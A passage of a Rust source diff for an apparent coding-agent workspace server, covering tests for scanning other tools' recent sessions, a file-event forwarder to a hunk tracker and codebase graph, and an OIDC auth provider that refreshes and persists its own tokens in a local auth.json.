||||
fn incomplete_enabled_tool_suppresses_cross_tool_winner() {
|
||||
let now = UNIX_EPOCH + Duration::from_secs(10_000);
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let cwd = dunce::canonicalize(root.path()).unwrap();
|
||||
let result = most_recent_with(
|
||||
&cwd,
|
||||
EnabledForeignSessionSources {
|
||||
claude: true,
|
||||
codex: true,
|
||||
cursor: true,
|
||||
},
|
||||
Duration::from_secs(600),
|
||||
now,
|
||||
|_, _, _| RecentProbe::<RecentCandidate>::Incomplete,
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Codex,
|
||||
ForeignSessionSource::CodexCli,
|
||||
"codex",
|
||||
now,
|
||||
)
|
||||
},
|
||||
|_, _, _| RecentProbe::Complete(None),
|
||||
);
|
||||
assert_eq!(result, RecentProbe::Incomplete);
|
||||
}
|
||||
#[test]
|
||||
fn recent_scan_normalizes_cwd_before_store_access() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
let child = cwd.join("child");
|
||||
std::fs::create_dir_all(&child).unwrap();
|
||||
let expected = dunce::canonicalize(&cwd).unwrap();
|
||||
let spelled = child.join("..");
|
||||
let found = most_recent_with(
|
||||
&spelled,
|
||||
EnabledForeignSessionSources {
|
||||
codex: true,
|
||||
..Default::default()
|
||||
},
|
||||
Duration::from_secs(600),
|
||||
SystemTime::now(),
|
||||
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled claude store touched") },
|
||||
|received, _, _| {
|
||||
assert_eq!(received, expected);
|
||||
RecentProbe::Complete(None)
|
||||
},
|
||||
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled cursor store touched") },
|
||||
);
|
||||
assert!(found.is_none());
|
||||
}
|
||||
#[test]
|
||||
fn recent_scan_canonicalization_failure_never_invokes_stores() {
|
||||
let calls = Cell::new(0);
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let missing = root.path().join("missing");
|
||||
let found = most_recent_with(
|
||||
&missing,
|
||||
EnabledForeignSessionSources {
|
||||
claude: true,
|
||||
codex: true,
|
||||
cursor: true,
|
||||
},
|
||||
Duration::from_secs(600),
|
||||
SystemTime::now(),
|
||||
|_, _, _| {
|
||||
calls.set(calls.get() + 1);
|
||||
RecentProbe::Complete(None)
|
||||
},
|
||||
|_, _, _| {
|
||||
calls.set(calls.get() + 1);
|
||||
RecentProbe::Complete(None)
|
||||
},
|
||||
|_, _, _| {
|
||||
calls.set(calls.get() + 1);
|
||||
RecentProbe::Complete(None)
|
||||
},
|
||||
);
|
||||
assert!(found.is_none());
|
||||
assert_eq!(calls.get(), 0);
|
||||
}
|
||||
#[test]
|
||||
fn disabled_sources_do_not_invoke_scanners() {
|
||||
let sessions = scan_with(
|
||||
Path::new("/repo"),
|
||||
EnabledForeignSessionSources::default(),
|
||||
|_, _| panic!("claude scanner called"),
|
||||
|_, _| panic!("codex scanner called"),
|
||||
|_, _| panic!("cursor scanner called"),
|
||||
);
|
||||
assert!(sessions.is_empty());
|
||||
}
|
||||
#[test]
|
||||
fn only_enabled_sources_are_invoked() {
|
||||
let claude_calls = Cell::new(0);
|
||||
let codex_calls = Cell::new(0);
|
||||
let cursor_calls = Cell::new(0);
|
||||
scan_with(
|
||||
Path::new("/repo"),
|
||||
EnabledForeignSessionSources {
|
||||
codex: true,
|
||||
..Default::default()
|
||||
},
|
||||
|_, _| {
|
||||
claude_calls.set(claude_calls.get() + 1);
|
||||
Vec::new()
|
||||
},
|
||||
|_, _| {
|
||||
codex_calls.set(codex_calls.get() + 1);
|
||||
Vec::new()
|
||||
},
|
||||
|_, _| {
|
||||
cursor_calls.set(cursor_calls.get() + 1);
|
||||
Vec::new()
|
||||
},
|
||||
);
|
||||
assert_eq!(
|
||||
(claude_calls.get(), codex_calls.get(), cursor_calls.get()),
|
||||
(0, 1, 0)
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn finish_scan_deduplicates_sorts_and_caps() {
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_000);
|
||||
let mut sessions = (0..55)
|
||||
.map(|i| summary(&format!("{i:02}"), now + Duration::from_secs(i)))
|
||||
.collect::<Vec<_>>();
|
||||
sessions.push(summary("54", now + Duration::from_secs(500)));
|
||||
let sessions = finish_tool_scan(sessions);
|
||||
assert_eq!(sessions.len(), MAX_SESSIONS_PER_TOOL);
|
||||
assert_eq!(sessions[0].native_id, "54");
|
||||
assert!(
|
||||
sessions
|
||||
.windows(2)
|
||||
.all(|pair| pair[0].updated_at >= pair[1].updated_at)
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn top_k_helper_uses_comparator_ties() {
|
||||
let mut candidates = Vec::with_capacity(3);
|
||||
for candidate in [(1, "z"), (3, "c"), (3, "a"), (2, "b"), (4, "d"), (3, "b")] {
|
||||
retain_top_k_by(&mut candidates, candidate, 3, |a, b| {
|
||||
b.0.cmp(&a.0).then_with(|| a.1.cmp(b.1))
|
||||
});
|
||||
}
|
||||
assert_eq!(candidates, vec![(4, "d"), (3, "a"), (3, "b")]);
|
||||
}
|
||||
#[test]
|
||||
fn title_truncation_is_utf8_safe_and_bounded() {
|
||||
let title = normalize_title(&"é".repeat(250)).unwrap();
|
||||
assert_eq!(title.chars().count(), MAX_TITLE_CHARS);
|
||||
assert!(title.ends_with('…'));
|
||||
}
|
||||
#[test]
|
||||
fn recency_allows_thirty_days_and_only_small_future_skew() {
|
||||
let now = UNIX_EPOCH + Duration::from_secs(4_000_000);
|
||||
assert!(is_within(now - MAX_SESSION_AGE, now, MAX_SESSION_AGE));
|
||||
assert!(!is_within(
|
||||
now - MAX_SESSION_AGE - Duration::from_secs(1),
|
||||
now,
|
||||
MAX_SESSION_AGE,
|
||||
));
|
||||
assert!(is_within(now + MAX_FUTURE_SKEW, now, MAX_SESSION_AGE));
|
||||
assert!(!is_within(
|
||||
now + MAX_FUTURE_SKEW + Duration::from_secs(1),
|
||||
now,
|
||||
MAX_SESSION_AGE,
|
||||
));
|
||||
}
|
||||
#[test]
|
||||
fn enabled_scanners_receive_canonical_and_supplied_cwd_spellings() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
let child = cwd.join("child");
|
||||
std::fs::create_dir_all(&child).unwrap();
|
||||
let expected = dunce::canonicalize(&cwd).unwrap();
|
||||
let spelled = child.join("..");
|
||||
let received = RefCell::new(Vec::new());
|
||||
scan_with(
|
||||
&spelled,
|
||||
EnabledForeignSessionSources {
|
||||
codex: true,
|
||||
..Default::default()
|
||||
},
|
||||
|_, _| panic!("claude scanner called"),
|
||||
|cwd, _| {
|
||||
received.borrow_mut().push(cwd.to_path_buf());
|
||||
Vec::new()
|
||||
},
|
||||
|_, _| panic!("cursor scanner called"),
|
||||
);
|
||||
assert_eq!(
|
||||
received.into_inner(),
|
||||
vec![expected.clone(), spelled.clone()]
|
||||
);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
let link = root.path().join("linked-repo");
|
||||
std::os::unix::fs::symlink(&cwd, &link).unwrap();
|
||||
let received = RefCell::new(Vec::new());
|
||||
scan_with(
|
||||
&link,
|
||||
EnabledForeignSessionSources {
|
||||
cursor: true,
|
||||
..Default::default()
|
||||
},
|
||||
|_, _| panic!("claude scanner called"),
|
||||
|_, _| panic!("codex scanner called"),
|
||||
|cwd, _| {
|
||||
received.borrow_mut().push(cwd.to_path_buf());
|
||||
Vec::new()
|
||||
},
|
||||
);
|
||||
assert_eq!(received.into_inner(), vec![expected, link]);
|
||||
}
|
||||
}
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn normalized_cwd_uses_ordinary_windows_spelling() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
std::fs::create_dir_all(&cwd).unwrap();
|
||||
scan_with(
|
||||
&cwd,
|
||||
EnabledForeignSessionSources {
|
||||
codex: true,
|
||||
..Default::default()
|
||||
},
|
||||
|_, _| panic!("claude scanner called"),
|
||||
|received, _| {
|
||||
assert_eq!(received, dunce::canonicalize(&cwd).unwrap());
|
||||
assert!(!received.to_string_lossy().starts_with(r"\\?\"));
|
||||
Vec::new()
|
||||
},
|
||||
|_, _| panic!("cursor scanner called"),
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,367 @@
|
||||
#![allow(dead_code)] // Functions consumed by handle.rs event forwarder wiring
|
||||
//! FsNotify adapter functions bridging [`kigi_fsnotify`] events to
|
||||
//! workspace subsystems (hunk tracker, codebase graph, workspace
|
||||
//! event broadcast).
|
||||
//!
|
||||
//! Codebase graph forwarding: FsNotify file-change
|
||||
//! events are converted via [`fs_event_to_codebase_graph_event`] and
|
||||
//! sent to the [`IndexManagerHandle`](kigi_codebase_graph::IndexManagerHandle).
|
||||
//! The [`refresh_codebase_graph_after_head_change`] helper handles
|
||||
//! git HEAD changes by diffing `ORIG_HEAD..HEAD`.
|
||||
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
use kigi_fsnotify::{FsEvent, FsEventKind};
|
||||
use kigi_hunk_tracker::HunkTrackerHandle;
|
||||
|
||||
/// True if `path` lies under a hidden component below `cwd`.
|
||||
///
|
||||
/// The `cwd` prefix is stripped first, so a `cwd` like
|
||||
/// `/home/u/.config/foo` does not flag paths inside that directory as
|
||||
/// hidden. Only components below `cwd` that start with `.` (and are
|
||||
/// longer than a bare `.`) are considered hidden.
|
||||
pub(crate) fn is_under_hidden_dir(path: &Path, cwd: &Path) -> bool {
|
||||
let rel = path.strip_prefix(cwd).unwrap_or(path);
|
||||
rel.components().any(|c| {
|
||||
c.as_os_str()
|
||||
.to_str()
|
||||
.is_some_and(|s| s.starts_with('.') && s.len() > 1)
|
||||
})
|
||||
}
|
||||
|
||||
/// Forward an fs event to the hunk tracker. Hidden-directory paths
|
||||
/// (relative to `cwd`) are filtered out so the hunk tracker never
|
||||
/// sees `.git/`, `.kigi/`, etc.
|
||||
pub(crate) fn forward_to_hunk_tracker(
|
||||
paths: &[PathBuf],
|
||||
kind: FsEventKind,
|
||||
handle: &HunkTrackerHandle,
|
||||
cwd: &Path,
|
||||
) {
|
||||
for path in paths {
|
||||
if is_under_hidden_dir(path, cwd) {
|
||||
continue;
|
||||
}
|
||||
match kind {
|
||||
FsEventKind::Created | FsEventKind::Modified | FsEventKind::Renamed => {
|
||||
handle.handle_file_change(path.clone());
|
||||
}
|
||||
FsEventKind::Removed => {
|
||||
handle.handle_file_deleted(path.clone());
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Convert to codebase graph `FileEvent` for incremental index updates.
|
||||
pub(crate) fn fs_event_to_codebase_graph_event(
|
||||
paths: &[PathBuf],
|
||||
kind: FsEventKind,
|
||||
) -> kigi_codebase_graph::FileEvent {
|
||||
use kigi_codebase_graph::{FileEvent, FileEventKind};
|
||||
let graph_kind = match kind {
|
||||
FsEventKind::Created => FileEventKind::Created,
|
||||
FsEventKind::Modified => FileEventKind::Modified,
|
||||
FsEventKind::Removed => FileEventKind::Removed,
|
||||
FsEventKind::Renamed => FileEventKind::Renamed,
|
||||
// `#[non_exhaustive]` fallback.
|
||||
_ => FileEventKind::Modified,
|
||||
};
|
||||
FileEvent::new(paths.to_vec(), graph_kind)
|
||||
}
|
||||
|
||||
/// Convert [`kigi_fsnotify::FsEventKind`] to the wire-type
|
||||
/// [`kigi_workspace_types::FsEventKind`].
|
||||
///
|
||||
/// Identity mapping today; kept explicit so all known variants are
|
||||
/// consciously mapped. Unknown future variants fall back to
|
||||
/// `Modified` via the `#[non_exhaustive]` wildcard arm.
|
||||
pub(crate) fn to_workspace_event_kind(kind: FsEventKind) -> kigi_workspace_types::FsEventKind {
|
||||
match kind {
|
||||
FsEventKind::Created => kigi_workspace_types::FsEventKind::Created,
|
||||
FsEventKind::Modified => kigi_workspace_types::FsEventKind::Modified,
|
||||
FsEventKind::Removed => kigi_workspace_types::FsEventKind::Removed,
|
||||
FsEventKind::Renamed => kigi_workspace_types::FsEventKind::Renamed,
|
||||
// `#[non_exhaustive]` fallback.
|
||||
_ => kigi_workspace_types::FsEventKind::Modified,
|
||||
}
|
||||
}
|
||||
|
||||
/// Spawn a background task that reads [`FsEvent`]s from a broadcast
|
||||
/// receiver, forwards `FilesChanged` to the hunk tracker, and
|
||||
/// re-broadcasts each affected path as
|
||||
/// [`WorkspaceEvent::FsChanged`](kigi_workspace_types::WorkspaceEvent::FsChanged)
|
||||
/// on the workspace event bus.
|
||||
///
|
||||
/// The task exits when:
|
||||
/// - the broadcast sender drops (all `FsEventSource`s for this
|
||||
/// receiver are gone), or
|
||||
/// - `cancel` is cancelled.
|
||||
pub(crate) fn spawn_fs_event_forwarder(
|
||||
mut rx: tokio::sync::broadcast::Receiver<FsEvent>,
|
||||
hunk_tracker: HunkTrackerHandle,
|
||||
events_tx: tokio::sync::broadcast::Sender<kigi_workspace_types::WorkspaceEvent>,
|
||||
cwd: PathBuf,
|
||||
cancel: tokio_util::sync::CancellationToken,
|
||||
codebase_index: Option<std::sync::Arc<kigi_codebase_graph::IndexManagerHandle>>,
|
||||
) {
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::select! {
|
||||
biased;
|
||||
_ = cancel.cancelled() => break,
|
||||
result = rx.recv() => {
|
||||
match result {
|
||||
Ok(FsEvent::FilesChanged { ref paths, kind }) => {
|
||||
// Forward to hunk tracker (hidden-dir filtered).
|
||||
forward_to_hunk_tracker(paths, kind, &hunk_tracker, &cwd);
|
||||
// Forward to codebase graph for incremental
|
||||
// index updates (hidden-dir paths are indexed
|
||||
// -- the graph's own ignore logic handles them).
|
||||
if let Some(ref idx) = codebase_index {
|
||||
let graph_event = fs_event_to_codebase_graph_event(paths, kind);
|
||||
if let Err(e) = idx.send_event(graph_event) {
|
||||
tracing::debug!(
|
||||
error = %e,
|
||||
"failed to forward fs event to codebase graph"
|
||||
);
|
||||
}
|
||||
}
|
||||
// Broadcast per-path WorkspaceEvent::FsChanged.
|
||||
let ws_kind = to_workspace_event_kind(kind);
|
||||
for path in paths {
|
||||
let _ = events_tx.send(
|
||||
kigi_workspace_types::WorkspaceEvent::FsChanged {
|
||||
path: path.clone(),
|
||||
kind: ws_kind,
|
||||
},
|
||||
);
|
||||
}
|
||||
}
|
||||
Ok(other) => {
|
||||
// Git meta / operation events -- not yet bridged
|
||||
// to WorkspaceEvent::GitHeadChanged etc.
|
||||
tracing::trace!(?other, "fs event forwarder: unhandled event variant");
|
||||
}
|
||||
Err(tokio::sync::broadcast::error::RecvError::Lagged(n)) => {
|
||||
tracing::warn!(
|
||||
lagged = n,
|
||||
"fs event forwarder lagged; some events were dropped"
|
||||
);
|
||||
}
|
||||
Err(tokio::sync::broadcast::error::RecvError::Closed) => break,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
const GIT_DIFF_REBUILD_THRESHOLD: usize = 500;
|
||||
|
||||
fn parse_diff_name_status_line(
|
||||
line: &str,
|
||||
repo_root: &Path,
|
||||
) -> Option<kigi_codebase_graph::FileEvent> {
|
||||
let mut parts = line.splitn(3, '\t');
|
||||
let status = parts.next()?.trim();
|
||||
let path = parts.next()?;
|
||||
|
||||
match status.chars().next()? {
|
||||
'A' => Some(kigi_codebase_graph::FileEvent::created(
|
||||
repo_root.join(path),
|
||||
)),
|
||||
'D' => Some(kigi_codebase_graph::FileEvent::removed(
|
||||
repo_root.join(path),
|
||||
)),
|
||||
'R' | 'C' => {
|
||||
let new_path = parts.next()?;
|
||||
Some(kigi_codebase_graph::FileEvent::renamed(
|
||||
repo_root.join(path),
|
||||
repo_root.join(new_path),
|
||||
))
|
||||
}
|
||||
_ => Some(kigi_codebase_graph::FileEvent::modified(
|
||||
repo_root.join(path),
|
||||
)),
|
||||
}
|
||||
}
|
||||
|
||||
/// After a HEAD change, diff `ORIG_HEAD..HEAD` and send targeted
|
||||
/// events to the codebase graph. Falls back to full rebuild if too
|
||||
/// many files changed.
|
||||
///
|
||||
/// Emits [`WorkspaceEvent::CodebaseIndexUpdated`] on the provided
|
||||
/// `events_tx` after the index has been updated (either via targeted
|
||||
/// events or a full rebuild). Skips the event if the index actor
|
||||
/// channel is closed (i.e. the actor has been dropped).
|
||||
pub(crate) async fn refresh_codebase_graph_after_head_change(
|
||||
idx: &kigi_codebase_graph::IndexManagerHandle,
|
||||
repo_root: &Path,
|
||||
events_tx: &tokio::sync::broadcast::Sender<kigi_workspace_types::WorkspaceEvent>,
|
||||
) {
|
||||
let mut diff_cmd = tokio::process::Command::new("git");
|
||||
diff_cmd
|
||||
.args(["diff", "--name-status", "ORIG_HEAD", "HEAD"])
|
||||
.current_dir(repo_root)
|
||||
.stdin(std::process::Stdio::null());
|
||||
kigi_tools::util::detach_command(&mut diff_cmd);
|
||||
diff_cmd.envs(kigi_tools::util::pager_env());
|
||||
let diff_output = diff_cmd.output().await;
|
||||
|
||||
// `None` means the update failed entirely (channel closed) --
|
||||
// skip the event so subscribers are not misled.
|
||||
let files_updated: Option<u64>;
|
||||
|
||||
match diff_output {
|
||||
Ok(output) if output.status.success() => {
|
||||
let changed: Vec<_> = String::from_utf8_lossy(&output.stdout)
|
||||
.lines()
|
||||
.filter(|l| !l.is_empty())
|
||||
.filter_map(|l| parse_diff_name_status_line(l, repo_root))
|
||||
.collect();
|
||||
|
||||
let count = changed.len();
|
||||
if count > GIT_DIFF_REBUILD_THRESHOLD {
|
||||
tracing::debug!(
|
||||
"git_refresh: {count} changed files exceeds threshold, falling back to rebuild"
|
||||
);
|
||||
files_updated = match idx.rebuild() {
|
||||
Ok(()) => Some(count as u64),
|
||||
Err(e) => {
|
||||
tracing::debug!("git_refresh: rebuild failed: {:?}", e);
|
||||
None
|
||||
}
|
||||
};
|
||||
} else if let Err(e) = idx.send_events(changed) {
|
||||
tracing::debug!("git_refresh: failed to send graph events: {:?}", e);
|
||||
files_updated = None;
|
||||
} else {
|
||||
tracing::debug!("git_refresh: sent {count} changed files to codebase graph");
|
||||
files_updated = Some(count as u64);
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
tracing::debug!("git_refresh: git diff failed, falling back to rebuild");
|
||||
files_updated = match idx.rebuild() {
|
||||
Ok(()) => Some(0),
|
||||
Err(e) => {
|
||||
tracing::debug!("git_refresh: rebuild fallback also failed: {:?}", e);
|
||||
None
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(count) = files_updated {
|
||||
let _ = events_tx.send(kigi_workspace_types::WorkspaceEvent::CodebaseIndexUpdated {
|
||||
files_indexed: count,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) fn ws_event_to_codebase_graph_event(
|
||||
path: &std::path::Path,
|
||||
kind: kigi_workspace_types::FsEventKind,
|
||||
) -> kigi_codebase_graph::FileEvent {
|
||||
use kigi_codebase_graph::{FileEvent, FileEventKind};
|
||||
let graph_kind = match kind {
|
||||
kigi_workspace_types::FsEventKind::Created => FileEventKind::Created,
|
||||
kigi_workspace_types::FsEventKind::Modified => FileEventKind::Modified,
|
||||
kigi_workspace_types::FsEventKind::Removed => FileEventKind::Removed,
|
||||
kigi_workspace_types::FsEventKind::Renamed => FileEventKind::Renamed,
|
||||
};
|
||||
FileEvent::new(vec![path.to_path_buf()], graph_kind)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::path::PathBuf;
|
||||
|
||||
#[test]
|
||||
fn hidden_dir_positive() {
|
||||
assert!(is_under_hidden_dir(
|
||||
&PathBuf::from("/workspace/.kigi/worktrees/abc/src/main.rs"),
|
||||
&PathBuf::from("/workspace"),
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hidden_dir_ignores_cwd_components() {
|
||||
assert!(!is_under_hidden_dir(
|
||||
&PathBuf::from("/home/user/.config/project/src/lib.rs"),
|
||||
&PathBuf::from("/home/user/.config/project"),
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hidden_dir_dot_only() {
|
||||
// A bare `.` component is not "hidden".
|
||||
assert!(!is_under_hidden_dir(
|
||||
&PathBuf::from("/workspace/./src/main.rs"),
|
||||
&PathBuf::from("/workspace"),
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn workspace_event_kind_round_trip() {
|
||||
use kigi_workspace_types::FsEventKind as WsKind;
|
||||
assert_eq!(
|
||||
to_workspace_event_kind(FsEventKind::Created),
|
||||
WsKind::Created
|
||||
);
|
||||
assert_eq!(
|
||||
to_workspace_event_kind(FsEventKind::Modified),
|
||||
WsKind::Modified
|
||||
);
|
||||
assert_eq!(
|
||||
to_workspace_event_kind(FsEventKind::Removed),
|
||||
WsKind::Removed
|
||||
);
|
||||
assert_eq!(
|
||||
to_workspace_event_kind(FsEventKind::Renamed),
|
||||
WsKind::Renamed
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn codebase_graph_event_mapping() {
|
||||
use kigi_codebase_graph::FileEventKind;
|
||||
let paths = vec![PathBuf::from("/workspace/src/main.rs")];
|
||||
|
||||
let ev = fs_event_to_codebase_graph_event(&paths, FsEventKind::Created);
|
||||
assert_eq!(ev.kind, FileEventKind::Created);
|
||||
|
||||
let ev = fs_event_to_codebase_graph_event(&paths, FsEventKind::Modified);
|
||||
assert_eq!(ev.kind, FileEventKind::Modified);
|
||||
|
||||
let ev = fs_event_to_codebase_graph_event(&paths, FsEventKind::Removed);
|
||||
assert_eq!(ev.kind, FileEventKind::Removed);
|
||||
|
||||
let ev = fs_event_to_codebase_graph_event(&paths, FsEventKind::Renamed);
|
||||
assert_eq!(ev.kind, FileEventKind::Renamed);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_diff_name_status_all_variants() {
|
||||
use kigi_codebase_graph::FileEventKind;
|
||||
use std::path::Path;
|
||||
let root = Path::new("/repo");
|
||||
|
||||
let ev = parse_diff_name_status_line("M\tsrc/main.rs", root).unwrap();
|
||||
assert_eq!(ev.kind, FileEventKind::Modified);
|
||||
|
||||
let ev = parse_diff_name_status_line("A\tnew_file.rs", root).unwrap();
|
||||
assert_eq!(ev.kind, FileEventKind::Created);
|
||||
|
||||
let ev = parse_diff_name_status_line("D\told_file.rs", root).unwrap();
|
||||
assert_eq!(ev.kind, FileEventKind::Removed);
|
||||
|
||||
let ev = parse_diff_name_status_line("R100\told.rs\tnew.rs", root).unwrap();
|
||||
assert_eq!(ev.kind, FileEventKind::Renamed);
|
||||
|
||||
assert!(parse_diff_name_status_line("", root).is_none());
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,490 @@
|
||||
//! Hub [`AuthProvider`] from `~/.kigi/auth.json` for the standalone
|
||||
//! `workspace_server` binary: loopback `ws://` uses a plain bearer, otherwise
|
||||
//! an auto-refreshing OIDC provider that persists rotated tokens to disk.
|
||||
//!
|
||||
//! The in-leader `grok workspace` exposure does NOT use this path — it sources
|
||||
//! an in-memory provider from the leader's `AuthManager` (see
|
||||
//! `LeaderAuthProvider`) to avoid racing the leader's own auth.json writer.
|
||||
|
||||
use std::collections::BTreeMap;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::Arc;
|
||||
|
||||
use kigi_computer_hub_sdk::{
|
||||
AuthCredential, AuthIdentity, AuthProvider, OidcAuthProviderBuilder, RefreshEvent,
|
||||
};
|
||||
use url::Url;
|
||||
|
||||
/// Plain bearer provider that also carries the owner identity parsed from the
|
||||
/// same auth.json entry. Used for the loopback / local-dev path (no OIDC
|
||||
/// refresh) so consumers can still read the owner identity from the auth
|
||||
/// provider — without a second auth.json read.
|
||||
struct BearerWithIdentity {
|
||||
token: String,
|
||||
identity: AuthIdentity,
|
||||
}
|
||||
|
||||
impl std::fmt::Debug for BearerWithIdentity {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
// Never log the bearer token; surface only the (non-secret) identity.
|
||||
f.debug_struct("BearerWithIdentity")
|
||||
.field("identity", &self.identity)
|
||||
.finish_non_exhaustive()
|
||||
}
|
||||
}
|
||||
|
||||
impl AuthProvider for BearerWithIdentity {
|
||||
fn current(&self) -> AuthCredential {
|
||||
AuthCredential::bearer(self.token.clone())
|
||||
}
|
||||
|
||||
fn identity(&self) -> Option<AuthIdentity> {
|
||||
Some(self.identity.clone())
|
||||
}
|
||||
}
|
||||
|
||||
/// Owner identity parsed from an auth.json entry, for the [`AuthProvider`]s
|
||||
/// built here to surface via [`AuthProvider::identity`].
|
||||
fn identity_from_entry(entry: &AuthEntry) -> AuthIdentity {
|
||||
AuthIdentity {
|
||||
user_id: entry.user_id.clone(),
|
||||
principal_type: entry.principal_type.clone(),
|
||||
principal_id: entry.principal_id.clone(),
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, serde::Deserialize)]
|
||||
struct AuthEntry {
|
||||
key: String,
|
||||
#[serde(default)]
|
||||
user_id: String,
|
||||
#[serde(default)]
|
||||
refresh_token: Option<String>,
|
||||
#[serde(default)]
|
||||
oidc_issuer: Option<String>,
|
||||
#[serde(default)]
|
||||
oidc_client_id: Option<String>,
|
||||
#[serde(default)]
|
||||
principal_type: Option<String>,
|
||||
#[serde(default)]
|
||||
principal_id: Option<String>,
|
||||
#[serde(default)]
|
||||
expires_at: Option<chrono::DateTime<chrono::Utc>>,
|
||||
}
|
||||
|
||||
fn default_auth_path() -> anyhow::Result<PathBuf> {
|
||||
let grok = kigi_config::user_kigi_home()
|
||||
.ok_or_else(|| anyhow::anyhow!("no user grok home (set $KIGI_SHARE_DIR or $HOME)"))?;
|
||||
Ok(grok.join("auth.json"))
|
||||
}
|
||||
|
||||
/// Read the active OIDC entry and its scope key. The key is threaded to the
|
||||
/// refresh write so rotation updates exactly the entry that was read.
|
||||
fn read_auth_entry(path: &Path) -> anyhow::Result<(String, AuthEntry)> {
|
||||
if !path.exists() {
|
||||
anyhow::bail!(
|
||||
"No auth credentials found at {}. Run `grok login` first.",
|
||||
path.display()
|
||||
);
|
||||
}
|
||||
|
||||
let content = std::fs::read_to_string(path)
|
||||
.map_err(|e| anyhow::anyhow!("failed to read {}: {e}", path.display()))?;
|
||||
let entries: BTreeMap<String, AuthEntry> = serde_json::from_str(&content)
|
||||
.map_err(|e| anyhow::anyhow!("failed to parse {}: {e}", path.display()))?;
|
||||
|
||||
entries
|
||||
.into_iter()
|
||||
.find(|(_, e)| e.refresh_token.is_some() && e.oidc_issuer.is_some())
|
||||
.ok_or_else(|| {
|
||||
anyhow::anyhow!(
|
||||
"no OIDC auth entry found in {}. Run `grok login` first.",
|
||||
path.display()
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
fn build_oidc_provider(
|
||||
scope_key: String,
|
||||
entry: &AuthEntry,
|
||||
auth_path: PathBuf,
|
||||
) -> anyhow::Result<Arc<dyn AuthProvider>> {
|
||||
let refresh_token = entry.refresh_token.as_ref().ok_or_else(|| {
|
||||
anyhow::anyhow!("auth entry has no refresh_token — cannot refresh expired tokens")
|
||||
})?;
|
||||
let issuer = entry.oidc_issuer.as_ref().ok_or_else(|| {
|
||||
anyhow::anyhow!("auth entry has no oidc_issuer — cannot refresh expired tokens")
|
||||
})?;
|
||||
let client_id = entry.oidc_client_id.as_ref().ok_or_else(|| {
|
||||
anyhow::anyhow!("auth entry has no oidc_client_id — cannot refresh expired tokens")
|
||||
})?;
|
||||
|
||||
let mut builder = OidcAuthProviderBuilder::new(&entry.key, refresh_token, issuer, client_id);
|
||||
|
||||
// Owner identity is surfaced via `AuthProvider::identity()` so consumers
|
||||
// read it from this provider — no separate auth.json read.
|
||||
builder = builder.user_id(&entry.user_id);
|
||||
if let Some(ref pt) = entry.principal_type {
|
||||
builder = builder.principal_type(pt);
|
||||
}
|
||||
if let Some(ref pid) = entry.principal_id {
|
||||
builder = builder.principal_id(pid);
|
||||
}
|
||||
if let Some(exp) = entry.expires_at {
|
||||
builder = builder.expires_at(exp);
|
||||
}
|
||||
|
||||
builder = builder.on_refresh(Arc::new(move |event: &RefreshEvent| {
|
||||
if let Err(e) = write_refreshed_token(&auth_path, &scope_key, event) {
|
||||
tracing::warn!(error = %e, "failed to persist refreshed token to auth.json");
|
||||
}
|
||||
}));
|
||||
|
||||
Ok(Arc::new(builder.build()))
|
||||
}
|
||||
|
||||
fn write_refreshed_token(path: &Path, scope_key: &str, event: &RefreshEvent) -> anyhow::Result<()> {
|
||||
let content = std::fs::read_to_string(path)?;
|
||||
let mut raw: serde_json::Value = serde_json::from_str(&content)?;
|
||||
|
||||
let Some(obj) = raw.get_mut(scope_key).and_then(|e| e.as_object_mut()) else {
|
||||
anyhow::bail!("auth entry '{scope_key}' not found while persisting refreshed token");
|
||||
};
|
||||
obj.insert(
|
||||
"key".to_owned(),
|
||||
serde_json::Value::String(event.access_token.clone()),
|
||||
);
|
||||
if let Some(ref rt) = event.new_refresh_token {
|
||||
obj.insert(
|
||||
"refresh_token".to_owned(),
|
||||
serde_json::Value::String(rt.clone()),
|
||||
);
|
||||
}
|
||||
if let Some(exp) = event.expires_at {
|
||||
obj.insert(
|
||||
"expires_at".to_owned(),
|
||||
serde_json::Value::String(exp.to_rfc3339()),
|
||||
);
|
||||
}
|
||||
|
||||
write_json_atomic(path, &raw)?;
|
||||
tracing::info!(path = %path.display(), "persisted refreshed token to auth.json");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Atomically replace `path`: temp file (0600 on Unix) + fsync + rename. Avoids
|
||||
/// the truncate-in-place corruption window when the long-lived binary rewrites
|
||||
/// auth.json.
|
||||
